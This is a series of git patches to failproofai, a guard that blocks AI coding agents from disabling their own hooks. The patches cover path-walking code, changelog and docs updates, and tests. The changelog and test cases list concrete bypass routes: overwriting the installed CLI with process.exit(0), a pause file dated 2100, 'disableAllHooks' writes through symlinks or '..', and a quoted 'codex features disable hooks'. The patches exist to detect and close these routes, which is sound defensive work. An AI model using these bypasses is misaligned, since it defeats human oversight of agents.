=== "pushd") { const operand = words.slice(1).find((w) => !w.startsWith("-")); - cwdInState = operand !== undefined && namesState(operand); + cwdInState = operand !== undefined && namesHere(operand); cdParenDepth = cwdInState ? parenDepth : null; + if (parenDepth > 0) shellDirScopes.push({ depth: parenDepth, dir: shellDir }); + // No operand is home; `cd -` goes somewhere the walk cannot see. + shellDir = operand === undefined ? "~" : operand === "-" ? undefined : inShell(operand); } else if (head === "popd") { // `popd` returns to wherever the shell was before `pushd`, which ends // the window as surely as a `cd` out does. Without it every command for // the rest of the line was judged as if it stood in the state directory. cwdInState = false; cdParenDepth = null; - } else if (landsInDirectoryAs(words, namesState)) { + shellDir = undefined; + } else if (landsInDirectoryAs(words, namesState, inShell)) { // Before the `reachesState` gate, because the point is that nothing on // the line names the path: the source's name and the directory do. return true; - } else if (reachesState && words.length > 0 && simpleCommandDestroys(words, namesState)) { + } else if ( + (reachesState || (shellDir !== undefined && words.some((w) => namesHere(w)))) && + words.length > 0 && + simpleCommandDestroys(words, namesHere) + ) { // Judged BEFORE the closing parenthesis is counted: a `rm -rf ./*)` // still runs inside the subshell it closes. return true; @@ -1615,6 +1756,9 @@ function destroysFailproofaiState(command: string, depth = 0): boolean { cwdInState = false; cdParenDepth = null; } + while (shellDirScopes.length > 0 && parenDepth < shellDirScopes[shellDirScopes.length - 1].depth) { + shellDir = shellDirScopes.pop()!.dir; + } } } return false; From 87045a6ca506f6783ab910c179474ac92717313e Mon Sep 17 00:00:00 2001 From: NiveditJain Date: Tue, 24 Nov 2026 17:47:08 +0530 Subject: [PATCH 16/89] [hooks] CHANGELOG: move #1050's lines to 1.0.18-beta.0 (1.0.17 shipped) v1.0.17 was published at 11:16 UTC, and release-announcement.mjs collects ## 1.0.18 plus its -beta.* sections, so lines left under ## 1.0.17 would miss the next announcement. Co-Authored-By: Claude Opus 5.5 --- CHANGELOG.md | 9 +++++++-- 1 file changed, 7 insertions(+), 2 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index fe47760fb..4f43d2ccf 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1,5 +1,12 @@ # Changelog +## 1.0.18-beta.0 — 2026-11-24 + +### Fixes + +- The always-on guard (`block-failproofai-commands`) now protects failproofai's installed code, not only its state. A user-scope hook runs the package `which failproofai` found, which under nvm, Homebrew, Volta, bun, pnpm, yarn or the npx cache the agent's own user can write, so a Write of `process.exit(0)` over `dist/cli.mjs` turned every later hook into an allow. File-tool writes to `node_modules/failproofai/…`, pnpm's `.pnpm/failproofai@…`, the daemon's `@failproofai/failproofaid-*` package, or the `…/bin/failproofai` and `…/pnpm/failproofai` entry a hook runs are now denied, including through a symlink, and so are shell commands that name those paths literally. The protected paths match case-insensitively, because macOS volumes are case-insensitive by default (FailproofAI/agenteye#1796, #1050) +- A session pause whose recorded start is in the future, or later than its latest renewal, is no longer honoured. The 8-hour ceiling was measured from that start, which comes from the same owner-writable file, so a hand-written pause dated 2100 stayed live until 2100. `failproofai config --resume --all` now also removes pause files that are not honoured yet, and exits 1 instead of reporting success when one cannot be removed (FailproofAI/agenteye#1796, #1050) + ## 1.0.17 — 2026-11-24 ### Fixes @@ -29,8 +36,6 @@ - Setup's summary on a Cloud-managed machine says "Deploy from Cloud" instead of pointing at installing a pack (#1033) - The first `failproofai config` on a new version (a fresh install, or the first after `npm i -g failproofai`) finishes the upgrade the way `failproofai update` does: it migrates Hermes profiles and restarts running, service-managed Hermes and OpenClaw gateways so they load the plugin now on disk. A later setup that plugs in a profile created since restarts that profile's gateway. Setup used to leave a gateway that was already running on the plugin it loaded before, or with none, until someone ran `update` (#1033) - A desired-state response the daemon refuses (an unknown `schemaVersion`, or a payload that does not decode) no longer applies its `machineLogs` or `logRequest` first: it used to clear an org's troubleshooting-off and start a log upload on the way to being rejected; the last valid answer now stands (#1033) -- The always-on guard (`block-failproofai-commands`) now protects failproofai's installed code, not only its state. A user-scope hook runs the package `which failproofai` found, which under nvm, Homebrew, Volta, bun, pnpm, yarn or the npx cache the agent's own user can write, so a Write of `process.exit(0)` over `dist/cli.mjs` turned every later hook into an allow. File-tool writes to `node_modules/failproofai/…`, pnpm's `.pnpm/failproofai@…`, the daemon's `@failproofai/failproofaid-*` package, or the `…/bin/failproofai` and `…/pnpm/failproofai` entry a hook runs are now denied, including through a symlink, and so are shell commands that name those paths literally. The protected paths match case-insensitively, because macOS volumes are case-insensitive by default (FailproofAI/agenteye#1796, #1050) -- A session pause whose recorded start is in the future, or later than its latest renewal, is no longer honoured. The 8-hour ceiling was measured from that start, which comes from the same owner-writable file, so a hand-written pause dated 2100 stayed live until 2100. `failproofai config --resume --all` now also removes pause files that are not honoured yet, and exits 1 instead of reporting success when one cannot be removed (FailproofAI/agenteye#1796, #1050) ### Dependencies From d3f19e51e98784fb2603731c280fe4af8ec9916c Mon Sep 17 00:00:00 2001 From: NiveditJain Date: Tue, 24 Nov 2026 18:10:37 +0530 Subject: [PATCH 17/89] [hooks] Close hermes round 1: links, .. after a link, quoted hooks-off words (#1794) hermes (round 1, efccfea3): - F1: a shell write through a link reached the settings unseen (`> cfg.json` with cfg.json -> ~/.claude/settings.json, a linked directory, a project's .claude/settings.json target). Every word is now looked up on disk ahead of the text hint, and a project's settings targets join the shell's protected files. - F2: `link/../settings.json` lost its `..` before the link was followed. Paths are now also walked the way the kernel walks them, a dangling link included (writing it creates its target). - F3: `codex features disable "hooks"`: commandsOnly blanked every quoted argument. A quoted WORD (no blank, separator, escape or expansion) is given back; a quoted message stays blank. - F4: interpreter examples in comments, stored heredocs and commit messages were read as programs. Programs are now found in the lexer's readable view, and only where the interpreter is a command. CodeRabbit: - heredocs on separate lines were quadratic (4000: 44.5 s -> 0.29 s); the lookahead is now indexed once per text. - a cd before a `|` moves nothing; one that ends a pipeline leaves the directory unknown; a subshell hands back the parent's pushd stack and in-target state; popd on an empty stack stays put. - a relocated settings path must start where a word does. - config --status: Windows managed settings path, the repository-root settings.local.json (Claude Code >= 2.1.211), tests no longer read the host's managed file; HOME paths in two it.each rows were built before beforeAll ran. - docs and CHANGELOG say what the guard cannot see and which policy refuses reads. Co-Authored-By: Claude Opus 5.5 --- CHANGELOG.md | 2 +- __tests__/hooks/claude-hooks-switch.test.ts | 69 ++++++-- __tests__/hooks/settings-guard.test.ts | 156 ++++++++++++++++- docs/reference/failproof-cli.mdx | 2 +- src/hooks/agent-settings-guard.ts | 133 +++++++++++++- src/hooks/builtin-policies.ts | 182 +++++++++++++++----- src/hooks/claude-hooks-switch.ts | 59 ++++++- src/hooks/config-status.ts | 25 ++- 8 files changed, 550 insertions(+), 78 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 8ac2138fa..bc9b624c6 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -29,7 +29,7 @@ - Setup's summary on a Cloud-managed machine says "Deploy from Cloud" instead of pointing at installing a pack (#1033) - The first `failproofai config` on a new version (a fresh install, or the first after `npm i -g failproofai`) finishes the upgrade the way `failproofai update` does: it migrates Hermes profiles and restarts running, service-managed Hermes and OpenClaw gateways so they load the plugin now on disk. A later setup that plugs in a profile created since restarts that profile's gateway. Setup used to leave a gateway that was already running on the plugin it loaded before, or with none, until someone ran `update` (#1033) - A desired-state response the daemon refuses (an unknown `schemaVersion`, or a payload that does not decode) no longer applies its `machineLogs` or `logRequest` first: it used to clear an org's troubleshooting-off and start a log upload on the way to being rejected; the last valid answer now stands (#1033) -- An agent can no longer switch its own enforcement off by editing its CLI's settings: the always-on guard (`block-failproofai-commands`) refused writes to `~/.failproofai` only, so `"disableAllHooks": true` in any Claude Code settings layer, or failproofai's entries taken out of any agent's hooks file, stopped every policy, the guard included. It now refuses agent writes to every integration's settings and hook files (Claude Code, Codex `hooks.json` and `config.toml`, Copilot, Cursor, OpenCode, Pi, Antigravity, Goose, Factory, Devin, Hermes, OpenClaw, and the file the hook was loaded from when `CLAUDE_CONFIG_DIR` or `CODEX_HOME` moved it): Write, Edit, MultiEdit, NotebookEdit and `apply_patch` edits, checked after symlinks, and shell writes through the same walk that protects `~/.failproofai`, plus `codex features disable hooks`. That walk now reads a command the way a shell does (quotes, comments, `${…}`, `$(…)`, heredocs), judges text piped into a shell (the failproofai CLI's too), follows a `cd` to the file a relative destination lands on, and catches `yq -i`, `awk -i inplace`, `sed`'s `e`/`W` and bundled `-i`, output options (`git log --output`, `sort -o`), commands git runs (`rebase -x`, `filter-branch`) and file-moving `git` subcommands, `xargs`, process substitutions, variables spliced into a path and interpreters' inline programs, for the state as well; it no longer reads commit messages, PR bodies, comments or other quoted arguments as commands, and git hooks in `.github/hooks/` stay editable. Reading those files stays allowed, and `failproofai config --status` now reports a `disableAllHooks` that is switching failproofai's Claude Code hooks off (#1053, FailproofAI/agenteye#1794) +- An agent can no longer switch its own enforcement off by editing its CLI's settings: the always-on guard (`block-failproofai-commands`) refused writes to `~/.failproofai` only, so `"disableAllHooks": true` in the Claude Code settings layer that decides it, or failproofai's entries taken out of any agent's hooks file, stopped every policy, the guard included. It now refuses agent writes to every integration's settings and hook files (Claude Code, Codex `hooks.json` and `config.toml`, Copilot, Cursor, OpenCode, Pi, Antigravity, Goose, Factory, Devin, Hermes, OpenClaw, and the file the hook was loaded from when `CLAUDE_CONFIG_DIR` or `CODEX_HOME` moved it): Write, Edit, MultiEdit, NotebookEdit and `apply_patch` edits, checked after symlinks (a `..` after a link included), and shell writes, through a link's name too, by the same walk that protects `~/.failproofai`, plus `codex features disable hooks`. That walk now reads a command the way a shell does (quotes, comments, `${…}`, `$(…)`, heredocs), judges text piped into a shell (the failproofai CLI's too), follows a `cd` to the file a relative destination lands on, and catches `yq -i`, `awk -i inplace`, `sed`'s `e`/`W` and bundled `-i`, output options (`git log --output`, `sort -o`), commands git runs (`rebase -x`, `filter-branch`) and file-moving `git` subcommands, `xargs`, process substitutions, variables spliced into a path and interpreters' inline programs, for the state as well; it no longer reads commit messages, PR bodies, comments or other quoted arguments as commands, and git hooks in `.github/hooks/` stay editable. A shell write that never names the file (a script written earlier and run later) is not seen. This guard leaves reads alone (the opt-in `block-read-outside-cwd` refuses them when enabled), and `failproofai config --status` now reports a `disableAllHooks` that is switching failproofai's Claude Code hooks off (#1053, FailproofAI/agenteye#1794) ### Dependencies diff --git a/__tests__/hooks/claude-hooks-switch.test.ts b/__tests__/hooks/claude-hooks-switch.test.ts index dee60f808..433231d9f 100644 --- a/__tests__/hooks/claude-hooks-switch.test.ts +++ b/__tests__/hooks/claude-hooks-switch.test.ts @@ -6,6 +6,7 @@ import { dirname, join } from "node:path"; import { CLAUDE_MANAGED_SETTINGS_PATHS, claudeHooksSwitchedOffBy, + claudeLocalSettingsPaths, claudeSettingsLayersByPrecedence, } from "../../src/hooks/claude-hooks-switch"; import { @@ -62,13 +63,18 @@ describe("claudeHooksSwitchedOffBy — Claude Code's precedence", () => { }); it("orders the layers managed, local, project, user", () => { - expect(claudeSettingsLayersByPrecedence({ user: "u", project: "p", local: "l" }, "linux")).toEqual([ - CLAUDE_MANAGED_SETTINGS_PATHS.linux, - "l", - "p", - "u", - ]); - expect(claudeSettingsLayersByPrecedence({ user: "u", project: "p", local: "l" }, "win32")).toEqual(["l", "p", "u"]); + expect(claudeSettingsLayersByPrecedence({ user: "u", project: "p", local: "l" }, "/m.json")).toEqual(["/m.json", "l", "p", "u"]); + expect(claudeSettingsLayersByPrecedence({ user: "u", project: "p", local: ["l1", "l2"] }, undefined)).toEqual(["l1", "l2", "p", "u"]); + }); + + it("reads the managed file where Claude Code keeps it, Windows included", () => { + expect(CLAUDE_MANAGED_SETTINGS_PATHS.linux).toBe("/etc/claude-code/managed-settings.json"); + expect(CLAUDE_MANAGED_SETTINGS_PATHS.darwin).toBe("/Library/Application Support/ClaudeCode/managed-settings.json"); + const windows = CLAUDE_MANAGED_SETTINGS_PATHS.win32!; + expect(windows).toBe("C:\\Program Files\\ClaudeCode\\managed-settings.json"); + const scopes = { user: "/h/.claude/settings.json", project: "/p/.claude/settings.json", local: "/p/.claude/settings.local.json" }; + const layers = claudeSettingsLayersByPrecedence(scopes, windows); + expect(claudeHooksSwitchedOffBy(layers, files({ [windows]: { disableAllHooks: true } }))).toBe(windows); }); }); @@ -98,6 +104,9 @@ describe("config --status — disableAllHooks", () => { mkdirSync(dirname(path), { recursive: true }); writeFileSync(path, JSON.stringify(body)); }; + // Never the host's managed file: a machine whose policy sets the key would + // decide these assertions. + const managed = () => join(dir, "managed-settings.json"); const ourHooks = { hooks: { PreToolUse: [{ hooks: [{ type: "command", command: "/bin/failproofai --hook PreToolUse", [FAILPROOFAI_HOOK_MARKER]: true }] }], @@ -108,19 +117,59 @@ describe("config --status — disableAllHooks", () => { const project = join(dir, "project"); put(join(dir, "home", ".claude", "settings.json"), ourHooks); put(join(project, ".claude", "settings.local.json"), { disableAllHooks: true }); - expect(claudeHooksSwitchedOff(project)).toBe(join(project, ".claude", "settings.local.json")); + expect(claudeHooksSwitchedOff(project, managed())).toBe(join(project, ".claude", "settings.local.json")); }); it("says nothing when failproofai has no Claude hooks to switch off", () => { const project = join(dir, "project"); put(join(dir, "home", ".claude", "settings.json"), { disableAllHooks: true }); - expect(claudeHooksSwitchedOff(project)).toBeNull(); + expect(claudeHooksSwitchedOff(project, managed())).toBeNull(); }); it("says nothing while the hooks are on", () => { const project = join(dir, "project"); put(join(dir, "home", ".claude", "settings.json"), { ...ourHooks, disableAllHooks: false }); - expect(claudeHooksSwitchedOff(project)).toBeNull(); + expect(claudeHooksSwitchedOff(project, managed())).toBeNull(); + }); + + it("lets a managed file decide, in either direction", () => { + const project = join(dir, "project"); + put(join(dir, "home", ".claude", "settings.json"), ourHooks); + put(join(project, ".claude", "settings.local.json"), { disableAllHooks: true }); + put(managed(), { disableAllHooks: false }); + expect(claudeHooksSwitchedOff(project, managed())).toBeNull(); + put(managed(), { disableAllHooks: true }); + expect(claudeHooksSwitchedOff(project, managed())).toBe(managed()); + }); + + it("reads a repository's local settings at its root when run from a subdirectory", () => { + const repo = join(dir, "repo"); + mkdirSync(join(repo, ".git"), { recursive: true }); + mkdirSync(join(repo, "src"), { recursive: true }); + put(join(dir, "home", ".claude", "settings.json"), ourHooks); + put(join(repo, ".claude", "settings.local.json"), { disableAllHooks: true }); + expect(claudeHooksSwitchedOff(join(repo, "src"), managed())).toBe(join(repo, ".claude", "settings.local.json")); + }); + + it("still reads one an older Claude Code left in the starting directory", () => { + const repo = join(dir, "repo"); + mkdirSync(join(repo, ".git"), { recursive: true }); + put(join(dir, "home", ".claude", "settings.json"), ourHooks); + put(join(repo, "src", ".claude", "settings.local.json"), { disableAllHooks: true }); + expect(claudeHooksSwitchedOff(join(repo, "src"), managed())).toBe(join(repo, "src", ".claude", "settings.local.json")); + }); + + it("keeps it in the starting directory on Windows and when the repository is the home directory", () => { + const home = join(dir, "home"); + mkdirSync(join(home, ".git"), { recursive: true }); + mkdirSync(join(home, "notes"), { recursive: true }); + const here = join(home, "notes", ".claude", "settings.local.json"); + expect(claudeLocalSettingsPaths(join(home, "notes"), "linux", home)).toEqual([here]); + expect(claudeLocalSettingsPaths(join(home, "notes"), "win32", join(dir, "elsewhere"))).toEqual([here]); + expect(claudeLocalSettingsPaths(join(home, "notes"), "linux", join(dir, "elsewhere"))).toEqual([ + join(home, ".claude", "settings.local.json"), + here, + ]); }); it("carries the finding into the status facts through its seam", async () => { diff --git a/__tests__/hooks/settings-guard.test.ts b/__tests__/hooks/settings-guard.test.ts index 27f44d264..bcb34af80 100644 --- a/__tests__/hooks/settings-guard.test.ts +++ b/__tests__/hooks/settings-guard.test.ts @@ -275,11 +275,14 @@ describe("block-failproofai-commands — agent settings and hook files", () => { `${PROJ}/.github/workflows/ci.yml`, `${PROJ}/.cursor/rules/style.mdc`, `${PROJ}/.codex/AGENTS.md`, - `${home}/.claude/skills/review/SKILL.md`, - `${home}/.claude/CLAUDE.md`, ])("allows writing %s", async (file) => { expect(await decision("Write", { file_path: file, content: "x" })).toBe("allow"); }); + // Joined inside the test: `home` exists only once beforeAll has run, and a + // table built before then wrote `undefined/.claude/…`. + it.each([".claude/skills/review/SKILL.md", ".claude/CLAUDE.md"])("allows writing ~/%s", async (file) => { + expect(await decision("Write", { file_path: join(home, file), content: "x" })).toBe("allow"); + }); }); describe("from the shell", () => { @@ -847,6 +850,155 @@ describe("block-failproofai-commands — review round five", () => { }, 60_000); }); +/** + * hermes's first review and CodeRabbit's: a write through a link, a `..` after + * one, a quoted word in a hooks-off command, interpreter examples nothing runs, + * and where the shell stands through pipelines and subshells. + */ +describe("block-failproofai-commands — review round six", () => { + let h6: string; + let p6: string; + let outerHome: string | undefined; + const settings = () => join(h6, ".claude", "settings.json"); + const program = () => `python3 -c "open('${settings()}','w')"`; + + beforeAll(() => { + // Its own HOME and project, so the links below reach nothing else in this file. + h6 = join(root, "home6"); + p6 = join(root, "proj6"); + mkdirSync(join(h6, ".claude", "subdir"), { recursive: true }); + writeFileSync(settings(), "{}"); + mkdirSync(join(p6, ".claude"), { recursive: true }); + mkdirSync(join(p6, "config"), { recursive: true }); + writeFileSync(join(p6, "config", "claude.json"), "{}"); + symlinkSync(join("..", "config", "claude.json"), join(p6, ".claude", "settings.json")); + symlinkSync(settings(), join(p6, "cfg.json")); + symlinkSync(join(h6, ".claude"), join(p6, "agent-dir")); + symlinkSync(join(h6, ".claude", "subdir"), join(p6, "link")); + symlinkSync(join(h6, ".claude", "settings.local.json"), join(p6, "dangling.json")); + outerHome = process.env.HOME; + process.env.HOME = h6; + }); + + afterAll(() => { + if (outerHome === undefined) delete process.env.HOME; + else process.env.HOME = outerHome; + }); + + describe("a shell write through a link (hermes F1)", () => { + it.each([ + `printf '{"disableAllHooks":true}' > cfg.json`, + `cp /tmp/x cfg.json`, + `printf '{}' > agent-dir/settings.json`, + `cd agent-dir && cp /tmp/x settings.json`, + `printf '{}' > config/claude.json`, + `printf '{}' > link/../settings.json`, + `printf '{}' > dangling.json`, + ])("denies %s", async (command) => { + expect(await bash(command, p6)).toBe(true); + }); + + it("leaves an ordinary file beside them alone", async () => { + expect(await bashDecision(`printf '{}' > config/other.json`, p6)).toBe("allow"); + expect(await bashDecision(`cat cfg.json && ls agent-dir/`, p6)).toBe("allow"); + }); + }); + + describe("a file tool's path through a link (hermes F2)", () => { + it("denies a .. that follows a link, relative and absolute", async () => { + expect(await write("link/../settings.json", p6)).toBe(true); + expect(await write(`${p6}/link/../settings.json`, p6)).toBe(true); + }); + + it("follows a link that leads nowhere yet: writing it creates the target", async () => { + expect(await write("dangling.json", p6)).toBe(true); + }); + + it("allows an ordinary .. path", async () => { + expect(await decision("Write", { file_path: "config/../notes.md", content: "x" }, p6)).toBe("allow"); + }); + }); + + describe("a quoted word in an agent CLI's hooks-off command (hermes F3)", () => { + it.each([ + `codex features disable "hooks"`, + `codex features disable 'hooks'`, + `codex features disable ho"oks"`, + `codex "features" disable hooks`, + `echo $(codex features disable "hooks")`, + ])("denies %s", async (command) => { + const result = await run("Bash", { command }); + expect(result.decision).toBe("deny"); + expect(result.reason).toMatch(/Turning an agent's hooks off/); + }); + + it("still reads a message that quotes one as a message", async () => { + expect(await bashDecision(`git commit -m "codex features disable hooks is now refused"`)).toBe("allow"); + }); + }); + + describe("an interpreter example nothing runs (hermes F4, CodeRabbit)", () => { + it("allows one in a comment, a stored heredoc or a commit message", async () => { + expect(await bashDecision(`echo ok # ${program()}`, p6)).toBe("allow"); + expect(await bashDecision(`cat > docs/x.md <<'EOF'\n${program()}\nEOF`, p6)).toBe("allow"); + expect(await bashDecision(`git commit -F - <<'EOF'\nRefuse ${program()} from agents\nEOF`, p6)).toBe("allow"); + const quoted = `python3 -c "open(\\"${settings()}\\",\\"w\\")"`; + expect(await bashDecision(`git commit -m 'Refuse ${quoted} from agents'`, p6)).toBe("allow"); + }); + + it("denies one that runs", async () => { + expect(await bash(program(), p6)).toBe(true); + expect(await bash(`echo ok; ${program()}`, p6)).toBe(true); + expect(await bash(`env -i ${program()}`, p6)).toBe(true); + expect(await bash(`sh -c "python3 -c \\"open('${settings()}','w')\\""`, p6)).toBe(true); + }); + }); + + describe("where the shell stands (CodeRabbit)", () => { + it("lets a cd before a | move nothing", async () => { + expect(await bashDecision(`cd ~/.claude | cat; cp /tmp/example.json settings.json`)).toBe("allow"); + expect(await bash(`cd /tmp | cat; cp /tmp/example.json settings.json`, join(h6, ".claude"))).toBe(true); + }); + + it("counts a cd that ends a pipeline both ways: zsh runs it, bash does not", async () => { + expect(await bash(`true | cd /tmp; cp /tmp/example.json settings.json`, join(h6, ".claude"))).toBe(true); + expect(await bash(`true | cd ~/.claude; cp /tmp/example.json settings.json`)).toBe(true); + }); + + it("gives the parent back its directory stack when a subshell closes", async () => { + expect(await bash(`cd ~/.claude; (cd /tmp; pushd /tmp); popd; cp /tmp/x settings.json`)).toBe(true); + expect(await bashDecision(`cd ~/.claude; pushd /tmp; (popd); cp /tmp/x settings.json`)).toBe("allow"); + expect(await bash(`cd ~/.claude && (cd /tmp && ls) && cp /tmp/x settings.json`)).toBe(true); + }); + + it("stays where it is on a popd with nothing pushed", async () => { + expect(await bash(`cd ~/.claude; popd; cp /tmp/x settings.json`)).toBe(true); + }); + }); + + describe("a relocated settings path inside a longer one (CodeRabbit)", () => { + const session = { cwd: PROJ, agentSettingsPath: "/srv/profile/settings.json" }; + const decide = async (command: string) => (await policy.fn({ eventType: "PreToolUse", payload: {}, toolName: "Bash", toolInput: { command }, session })).decision; + + it("is not the relocated file", async () => { + expect(await decide(`cp /tmp/x /backup/srv/profile/settings.json`)).toBe("allow"); + }); + + it("still reads the file itself, its directory after a glued option, and an --output= value", async () => { + expect(await decide(`cp /tmp/x /srv/profile/settings.json`)).toBe("deny"); + expect(await decide(`tar -xf /tmp/a.tar -C/srv/profile`)).toBe("deny"); + expect(await decide(`sort --output=/srv/profile/settings.json /tmp/x`)).toBe("deny"); + }); + }); + + it("stays linear in a script of file-writing heredocs on separate lines (CodeRabbit)", async () => { + const script = Array.from({ length: 4000 }, (_, i) => `cat > /tmp/out/f${i}.txt < { it("matches settings files anchored at the end, and config directories exactly", () => { expect(isAgentSettingsPath("/h/.claude/settings.json")).toBe(true); diff --git a/docs/reference/failproof-cli.mdx b/docs/reference/failproof-cli.mdx index 3fb42c22f..1406520c0 100644 --- a/docs/reference/failproof-cli.mdx +++ b/docs/reference/failproof-cli.mdx @@ -180,7 +180,7 @@ Agent-specific home variables such as `CLAUDE_PROJECTS_PATH`, `CURSOR_HOME`, `HE ## Agent hook settings -Agents cannot edit the files their CLI loads failproofai's hooks from: Claude Code's `settings*.json` in `~/.claude/` and in any project's `.claude/`, Codex's `hooks.json` and `config.toml`, and the hook and plugin files of the other supported agents. One line there switches every policy off — `"disableAllHooks": true` in any Claude Code settings file does — so `block-failproofai-commands` refuses those writes, from file tools and from the shell alike. Reading them stays allowed. Change them yourself, or with `failproofai policies --install` and `--uninstall`. +Agents cannot edit the files their CLI loads failproofai's hooks from: Claude Code's `settings*.json` in `~/.claude/` and in any project's `.claude/`, Codex's `hooks.json` and `config.toml`, and the hook and plugin files of the other supported agents, also when they reach them through a symlink. One line there can switch every policy off — in Claude Code, `"disableAllHooks": true` in the highest-precedence settings file that sets the key, though only managed settings can switch off hooks that managed settings install — so `block-failproofai-commands` refuses those writes, from file tools and from the shell alike. It judges a shell command by its text, so a script written earlier and run later is not seen. This guard does not restrict reading these files; if a read is denied, the opt-in `block-read-outside-cwd` policy denied it. Change them yourself, or with `failproofai policies --install` and `--uninstall`. `failproofai config --status` reports a `disableAllHooks` that is switching failproofai's Claude Code hooks off, and names the file that sets it. diff --git a/src/hooks/agent-settings-guard.ts b/src/hooks/agent-settings-guard.ts index aea2a442d..f76322b76 100644 --- a/src/hooks/agent-settings-guard.ts +++ b/src/hooks/agent-settings-guard.ts @@ -30,7 +30,7 @@ * bundler rename that local (config-status.ts explains why that matters: the * audit cache in src/audit/cache.ts keys on each policy's source). */ -import { existsSync, realpathSync } from "node:fs"; +import { existsSync, lstatSync, readlinkSync, realpathSync } from "node:fs"; import { homedir } from "node:os"; import { basename, dirname, isAbsolute, join, normalize, relative, resolve } from "node:path"; @@ -178,6 +178,83 @@ function realpathOfAgentSettingsCandidate(path: string): string { return path; } +/** Linux gives up after this many links in one path (MAXSYMLINKS). */ +const MAX_LINK_HOPS = 40; + +/** + * `path` walked the way the kernel walks it: one component at a time from + * `base`, a symlink replaced by where it points before the walk goes on. So a + * `..` after a link climbs out of the link's TARGET: with `link -> + * ~/.claude/subdir`, `link/../settings.json` is `~/.claude/settings.json`, + * where text normalisation drops `link/..` and lands beside the link. A link + * that leads nowhere yet is followed too — a write through it creates its + * target. Past the first component that does not exist, the rest is joined as + * text. Null on a loop or a link that cannot be read; both fail the write too. + */ +function physicalWalk(base: string, path: string): string | null { + let parts = path.split("/"); + let current = base; + let hops = 0; + for (let k = 0; k < parts.length; k++) { + const part = parts[k]; + if (part === "" || part === ".") continue; + if (part === "..") { + current = dirname(current); + continue; + } + const next = join(current, part); + let stat: ReturnType | undefined; + try { + stat = lstatSync(next, { throwIfNoEntry: false }); + } catch { + // ENOTDIR under a file, EACCES, a component too long: nothing to follow. + stat = undefined; + } + if (stat === undefined) return join(next, ...parts.slice(k + 1)); + if (!stat.isSymbolicLink()) { + current = next; + continue; + } + if (++hops > MAX_LINK_HOPS) return null; + let target: string; + try { + target = readlinkSync(next); + } catch { + return null; + } + if (target.startsWith("/")) current = "/"; + parts = [...target.split("/"), ...parts.slice(k + 1)]; + k = -1; + } + return current; +} + +/** Paths longer than this cannot be opened (PATH_MAX), so they write nothing. */ +const MAX_PHYSICAL_PATH = 4096; + +/** + * Where `path` really leads from `cwd`, symlinks and `..` taken in the + * kernel's order (see physicalWalk), home expanded. Null when it cannot be + * known: a relative path with no cwd, or one too long to open. `bases` keeps + * each cwd's own walk for a caller that resolves many words from one. + */ +export function physicalAgentPath( + path: string, + cwd: string | undefined, + bases?: Map, +): string | null { + const expanded = expandAgentSettingsHome(path); + if (expanded.length === 0 || expanded.length > MAX_PHYSICAL_PATH) return null; + if (isAbsolute(expanded)) return physicalWalk("/", expanded); + if (!cwd) return null; + let base = bases?.get(cwd); + if (base === undefined) { + base = physicalWalk("/", resolve(cwd)); + bases?.set(cwd, base); + } + return base === null ? null : physicalWalk(base, expanded); +} + /** Agent settings files under the home directory, relative to it. */ const HOME_AGENT_SETTINGS_FILES: readonly string[] = [ ".claude/settings.json", @@ -329,6 +406,13 @@ export function agentSettingsWriteTarget( if (real !== lexical && (isAgentSettingsPath(real) || extras.has(real))) return lexical; realTargets ??= agentSettingsRealTargets(cwd, [...extras]); if (realTargets.has(real)) return lexical; + // `lexical` lost its `..` before any link was followed; the filesystem + // follows the link first: `link/../settings.json` with `link -> + // ~/.claude/subdir` writes `~/.claude/settings.json`. + const physical = physicalAgentPath(raw, cwd); + if (physical !== null && physical !== real && (isAgentSettingsPath(physical) || extras.has(physical) || realTargets.has(physical))) { + return lexical; + } } return null; } @@ -338,10 +422,18 @@ function bareAgentSettingsWord(word: string): string { return word.replace(/^[(){}'"`;&|<>]+|[(){}'"`;&|<>]+$/g, ""); } -/** A path as a regex literal that must end where a shell word or a quoted string would. */ +/** What can stand right before a path that starts a shell word, a quoted string or a value. */ +const PATH_START_EDGE = String.raw`\s'"\x60;&|()<>=,{}\[\]:@/`; + +/** + * A path as a regex literal that must start and end where a shell word or a + * quoted string would — or right after a glued short option (`-C/srv/x`) — so + * `/backup/srv/profile/settings.json` is not read as `/srv/profile/settings.json`. + */ function agentSettingsPathInTextRe(path: string, isDirectory: boolean): RegExp { const escaped = path.replace(/[.*+?^${}()|[\]\\]/g, "\\$&"); - return new RegExp(`${escaped}${isDirectory ? "[\\\\/]?" : ""}(?=$|[\\s'"\`;&|()<>])`, "i"); + const start = `(?<=^|[${PATH_START_EDGE}]|(?:^|[${PATH_START_EDGE}])-[A-Za-z])`; + return new RegExp(`${start}${escaped}${isDirectory ? "[\\\\/]?" : ""}(?=$|[\\s'"\`;&|()<>])`, "i"); } /** @@ -374,8 +466,10 @@ function agentSettingsShellExtras( // `.github/hooks/` is protected as a directory only in a project that keeps // failproofai's Copilot hooks there; elsewhere it is where git hooks live. if (cwd && existsSync(join(cwd, ".github", "hooks", "failproofai.json"))) dirs.add(join(resolve(cwd), ".github", "hooks")); - for (const relativePath of HOME_AGENT_SETTINGS_FILES) { - const lexical = join(home, relativePath); + // A project's settings linked elsewhere (`.claude/settings.json -> + // ../config/claude.json`) are written through the target's own name. + const projectFiles = cwd ? PROJECT_AGENT_SETTINGS_FILES.map((path) => join(resolve(cwd), path)) : []; + for (const lexical of [...HOME_AGENT_SETTINGS_FILES.map((path) => join(home, path)), ...projectFiles]) { try { const real = realpathSync(lexical); if (real !== lexical) files.add(real); @@ -449,7 +543,12 @@ function agentSettingsHintFrom(extras: { files: Set; dirs: Set } export function agentSettingsShellMatcher( extraPaths: readonly string[], cwd?: string, -): { names: (text: string) => boolean; hint: RegExp } { +): { + names: (text: string) => boolean; + hint: RegExp; + /** Whether a word (relative to `cwd` when relative) leads to one of them through a symlink. */ + throughLinks: (word: string, cwd: string | undefined) => boolean; +} { const extras = agentSettingsShellExtras(extraPaths, cwd); const hint = agentSettingsHintFrom(extras); const textForms = [ @@ -475,7 +574,27 @@ export function agentSettingsShellMatcher( } return false; }; - return { names, hint }; + // A word whose own text names nothing can still lead to a settings file: a + // link in the project (`cfg.json -> ~/.claude/settings.json`), a linked + // directory (`agent-dir/settings.json`), a `..` after a link. Looked up on + // disk, so ahead of the hint, which only reads the text; once per word. + const physicalHits = new Map(); + const physicalBases = new Map(); + const throughLinks = (raw: string, cwd: string | undefined): 